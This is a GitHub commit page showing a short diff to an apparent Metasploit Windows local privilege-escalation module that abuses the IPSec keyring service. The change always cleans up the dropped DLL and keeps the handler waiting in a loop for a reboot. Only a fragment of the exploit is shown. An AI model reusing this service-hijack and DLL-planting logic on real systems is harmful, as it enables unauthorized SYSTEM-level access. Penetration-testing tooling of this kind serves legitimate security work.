Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
Leave handler running for reboot
  • Loading branch information
Meatballs1 committed Jan 3, 2013
1 parent df21836 commit 54e4557
Showing 1 changed file with 14 additions and 12 deletions.
26 changes: 14 additions & 12 deletions modules/exploits/windows/local/ipsec_keyring_service.rb
Expand Up @@ -198,14 +198,12 @@ def session_arch
end

def cleanup
unless @reboot
if @write_success && @dll_file_path
begin
file_rm(@dll_file_path)
vprint_status("Deleted file #{@dll_file_path}")
rescue ::Exception => e
print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails
end
if @write_success && @dll_file_path
begin
file_rm(@dll_file_path)
vprint_status("Deleted file #{@dll_file_path}")
rescue ::Exception => e
print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails
end
end

Expand All @@ -219,8 +217,6 @@ def exploit
fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()")
end

@reboot = false

if is_system?
print_error("Current user is already SYSTEM, aborting.")
return
Expand Down Expand Up @@ -313,8 +309,14 @@ def exploit
if service_information['Startup'] == 'Manual'
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
@reboot = true
print_status("Unable to start service, manually create handler and wait for a reboot...")
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
select(nil,nil,nil,1)
end
else
print_status("Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
end
end
end
Expand Down

0 comments on commit 54e4557

Please sign in to comment.